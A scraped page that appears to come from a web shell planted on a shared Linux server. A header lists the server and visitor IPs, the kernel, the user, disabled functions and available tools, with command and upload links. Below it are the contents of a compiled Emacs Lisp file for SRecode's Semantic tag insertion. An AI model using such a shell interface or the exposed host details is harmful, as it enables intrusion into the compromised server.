Server IP : 111.118.215.189 / Your IP : 18.217.207.112 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/emacs/24.3/lisp/cedet/srecode/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
;ELC ;;; Compiled by mockbuild@buildfarm06-new.corp.cloudlinux.com on Fri Oct 11 10:11:33 2024 ;;; from file /builddir/build/BUILD/emacs-24.3/lisp/cedet/srecode/semantic.el ;;; in Emacs version 24.3.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. ;;; This file does not contain utf-8 non-ASCII characters, ;;; and so can be loaded in Emacs versions earlier than 23. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301!\210\300\302!\210\300\303!\210\300\304!\210\300\305!\210\300\306!\210\307\310\311\312\313$\210\314\315\316\315\317\"\"\210\320\315\321\310\322$\207" [require srecode/insert srecode/dictionary semantic/find semantic/format semantic/senator ring eieio-defclass srecode-semantic-tag (srecode-dictionary-compound-value) ((prime :initarg :prime :type semantic-tag :documentation "This is the primary insertion tag.")) ("Wrap up a collection of semantic tag information.\nThis class will be used to derive dictionary values.") eieio--defalias srecode-compound-toString eieio--defgeneric-init-form #1="Convert the compound dictionary value CP to a string.\nIf FUNCTION is non-nil, then FUNCTION is somehow applied to an\naspect of the compound value." eieio--defmethod nil #[(cp function dictionary) "\204 \302\303 \304\"!\207\303 \304\"!\207" [function cp semantic-format-tag-prototype eieio-oref :prime] 4 #1#]] 5) #@96 The tag selected by a :tag template argument. If this is nil, then `senator-tag-ring' is used. (defvar srecode-semantic-selected-tag nil (#$ . 1499)) #@62 Create an `srecode-semantic-tag' from the senator kill ring. (defalias 'srecode-semantic-tag-from-kill-ring #[nil "\301!\203\n \302\303!\210\304\305\"\207" [senator-tag-ring ring-empty-p error "You must use `senator-copy-tag' to provide a tag to this template" ring-ref 0] 3 (#$ . 1655)]) #@128 A function called for each tag added to a dictionary. The hook is called with two arguments, the TAG and DICT to be augmented. (defvar srecode-semantic-apply-tag-augment-hook nil (#$ . 1953)) #@364 Insert features of TAGOBJ into the dictionary DICT. TAGOBJ is an object of class `srecode-semantic-tag'. This class is a compound inserter value. DICT is a dictionary object. At a minimum, this function will create dictionary macro for NAME. It is also likely to create macros for TYPE (data type), function arguments, variable default values, and other things. (defalias 'srecode-semantic-apply-tag-to-dict #[(tagobj dict) "\306\211\307\310\211\n\311!\307\n\204+ \211\204+ \205* \312 \"\n\203U \f\204U \n\313N\203D \312 \n\313N\"\211\204+ \n\211\314N\206O \n\315N)\211\204/ \f,\211\205h \203f N\205h J+\206\341 \211\316N)\205\341 \211\316N)\307\310\211\n\311!\307\n\204\243 \211\204\243 \205\242 \312 \"\n\203\315 \f\204\315 \n\313N\203\274 \312 \n\313N\"\211\204\243 \n\211\314N\206\307 \n\315N)\211\204\247 \f,\211\205\340 \203\336 N\205\340 J+)\211\203\362 \"\202\370 \317\")\207" [overload property mode symbol bind name srecode-semantic-apply-tag-to-dict nil override-flag symbol-name intern-soft mode-local-symbol-table mode-local-parent derived-mode-parent overload-obsolete srecode-semantic-apply-tag-to-dict-default mode-local-active-mode major-mode #1=#:override tagobj dict] 5 (#$ . 2152)]) (put 'srecode-semantic-apply-tag-to-dict 'mode-local-overload t) #@49 Insert features of TAGOBJ into dictionary DICT. (defalias 'srecode-semantic-apply-tag-to-dict-default #[(tagobj dict) "\306\307 #\210\310 \311\"\306\312\n\211@)#\210\306\313\314\n\315\"#\210\316\317\n#\210\n\211A@)\320=\203\331 \n\211\321\322\n\323\n8)\"+\211\203\210 \f@\324\325\"\211(;\203q (\315\211\211)*#+\326\327+\330\331#\332*)&,(\333\334(\211@)\311(# \"\210*\fA\211\204D )\n\211\211\335\322\n\323\n8)\",\211,\203\250 \306\336,#\210)\n\337\322\n\323\n8)\"*\211-\205\325 \324\340\"\306 \312-@#\210)-A\211-\204\275 \315)\202\201\n\211A@)\330=\203\n\211\332\322\n\323\n8)\"+\205\201\324\341\"\306 \342\n\211\332\322\n\323\n8)\"+#)\202\201\n\211A@)\343=\205\201\344\n!\315,\211.\203H.@,\324\345\"/\306/\312,#\210).A\211.\204+*\n\211\346\322\n\323\n8)\"+\3150\211.\205\200.@0\324\347\"/\306/\3120#\210).A\211.\204b\315*)\207" [dict tagobj tag attribute args subdict srecode-dictionary-set-value "TAG" eieio-oref :prime "NAME" "TYPE" semantic-format-tag-type nil run-hook-with-args srecode-semantic-apply-tag-augment-hook function :arguments plist-get 2 srecode-dictionary-add-section-dictionary "ARGS" apply semantic-tag variable :type :default-value srecode-semantic-apply-tag-to-dict srecode-semantic-tag :parent "PARENT" :throws "THROWS" "HAVEDEFAULT" "VALUE" type semantic-tag-type-superclasses "PARENTS" :interfaces "INTERFACES" larg attributes default-value name p exceptions --dolist-tail-- sd i] 10 (#$ . 3498)]) #@64 Add macros into the dictionary DICT based on the current :tag. (defalias 'srecode-semantic-handle-:tag #[(dict) "\206 \303 \304\305 \211@)\306 #\n\")\207" [srecode-semantic-selected-tag tag dict srecode-semantic-tag-from-kill-ring srecode-semantic-apply-tag-to-dict srecode-semantic-tag :prime] 6 (#$ . 5026)]) #@147 Add macros into the dictionary DICT based on a tag of class type at point. Assumes the cursor is in a tag of class type. If not, throw an error. (defalias 'srecode-semantic-handle-:tagtype #[(dict) "\206 \303\304!\211\204 \305\306!\210\307 \n\")\207" [srecode-semantic-selected-tag typetag dict semantic-current-tag-of-class type error "Cursor is not in a TAG of class 'type" srecode-semantic-apply-tag-to-dict] 4 (#$ . 5348)]) #@122 Find a template for a tag of class CLASS based on context. PROTOTYPE is non-nil if we want a prototype template instead. (defalias 'srecode-semantic-find-template #[(class prototype ctxt) "\306\211\307\310\211\n\311!\307\n\204+ \211\204+ \205* \312 \"\n\203U \f\204U \n\313N\203D \312 \n\313N\"\211\204+ \n\211\314N\206O \n\315N)\211\204/ \f,\211\205h \203f N\205h J+\206\341 \211\316N)\205\341 \211\316N)\307\310\211\n\311!\307\n\204\243 \211\204\243 \205\242 \312 \"\n\203\315 \f\204\315 \n\313N\203\274 \312 \n\313N\"\211\204\243 \n\211\314N\206\307 \n\315N)\211\204\247 \f,\211\205\340 \203\336 N\205\340 J+)\211\203\364 #\202\374 \317#)\207" [overload property mode symbol bind name srecode-semantic-find-template nil override-flag symbol-name intern-soft mode-local-symbol-table mode-local-parent derived-mode-parent overload-obsolete srecode-semantic-find-template-default mode-local-active-mode major-mode #1=#:override class prototype ctxt] 5 (#$ . 5788)]) (put 'srecode-semantic-find-template 'mode-local-overload t) #@130 Find a template for tag CLASS based on context. PROTOTYPE is non-nil if we need a prototype. CTXT is the pre-calculated context. (defalias 'srecode-semantic-find-template-default #[(class prototype ctxt) "@\n;\203\f \n\202 \306\n!\307 \203! \310\311 \312P #\206\214 \2030 \310\311 \313P #\206\214 \310\311 \314P #\206\214 \310\311 #\206\214 \315\230\204Y \203Y \310\311 \313P\315#\206\214 \315\230\204n \203n \310\311 \312P\315#\206\214 \315\230\204 \310\311 \314P\315#\206\214 \315\230?\205\214 \310\311 \315#\211+\207" [ctxt top class tname temp prototype symbol-name nil srecode-template-get-table srecode-table "-tag-prototype" "-prototype" "-tag" "declaration"] 5 (#$ . 6897)]) #@1538 Insert TAG into a buffer using srecode templates at point. Optional STYLE-OPTION is a list of minor configuration of styles, such as the symbol 'prototype for prototype functions, or 'system for system includes, and 'doxygen, for a doxygen style comment. Optional third argument POINT-INSERT-FCN is a hook that is run after TAG is inserted that allows an opportunity to fill in the body of some thing. This hook function is called with one argument, the TAG being inserted. The rest of the arguments are DICT-ENTRIES. DICT-ENTRIES is of the form ( NAME1 VALUE1 NAME2 VALUE2 ... NAMEn VALUEn). The exact template used is based on the current context. The template used is found within the toplevel context as calculated by `srecode-calculate-context', such as `declaration', `classdecl', or `code'. For various conditions, this function looks for a template with the name CLASS-tag, where CLASS is the tag class. If it cannot find that, it will look for that template in the `declaration' context (if the current context was not `declaration'). If PROTOTYPE is specified, it will first look for templates with the name CLASS-tag-prototype, or CLASS-prototype as above. See `srecode-semantic-apply-tag-to-dict' for details on what is in the dictionary when the templates are called. This function returns to location in the buffer where the inserted tag ENDS, and will leave point inside the inserted text based on any occurrence of a point-inserter. Templates such as `function' will leave point where code might be inserted. (defalias 'srecode-semantic-insert-tag #[(tag &optional style-option point-insert-fcn &rest dict-entries) "\306!\210\307 \211@\310\211A@)!\311 \3123\f4\3135>\3146\211\211A@)6*=\203R \3157\316\3178)7\"*\203R \320\321 #3\202\3146\211\211A@)6*=\203\202 \3227\316\3178)7\"*\203\202 \320\323 #3\202\3146\211\211A@)6*=\203\266 \211\211\3247\316\3178)7\",\203\266 \320\325 #3\202\3266\211\211A@)6*=\203\346 \3277\316\3178)7\"*\203\346 \320\330 #3\202\3316\211\211A@)6*=\203\3327\316\3178)7\"*\203\320\333 #33\204 \320\f #33\204\243\211A@)\334=\203y\211\3357\316\3178)7\"+\203y\320\211\3357\316\3178)7\"+ #34\336\211\3357\316\3178)7\"+Q4\202\243\211A@)\314=\203\243\211\211\3247\316\3178)7\",\203\243\320\325 #33\204\262\337\3404\n\341!$\2108\3423 \"\210)\343 \344\"\204\325\345\211@)\346#9\3479 \"\210):\211;\203\362\350 ;@;A@#\210;AA\211;\204\335)\3513 \312\352$<\353\354\"\210\3346\211\211A@)6*=\203l\211\3557\316\3178)7\"+\312=\211>\203k>@\211=;\203W=\312\211\211?@A\356\357A\326\335\360@?&,=\361=\362\"\211Bb\210)>A\211>\204.*<.\207" [major-mode ctxt top tag tname dict srecode-load-tables-for-mode srecode-calculate-context symbol-name srecode-create-dictionary nil prototype function :constructor-flag plist-get 2 srecode-semantic-find-template "constructor" :destructor-flag "destructor" :parent "method" variable :constant-flag "variable-const" include :system-flag "system-include" type :type " or " error "Cannot find template %s in %s for inserting tag %S" semantic-format-tag-summarize srecode-resolve-arguments srecode-dictionary-lookup-name "TAG" srecode-semantic-tag :prime srecode-semantic-apply-tag-to-dict srecode-dictionary-set-value srecode-insert-fcn t run-hook-with-args point-insert-fcn :members apply semantic-tag :default-value srecode-semantic-insert-tag (prototype) temp errtype style-option class attribute srecode-semantic-selected-tag tagobj dict-entries entries endpt m --dolist-tail-- attributes default-value name me] 10 (#$ . 7611)]) (provide 'srecode/semantic)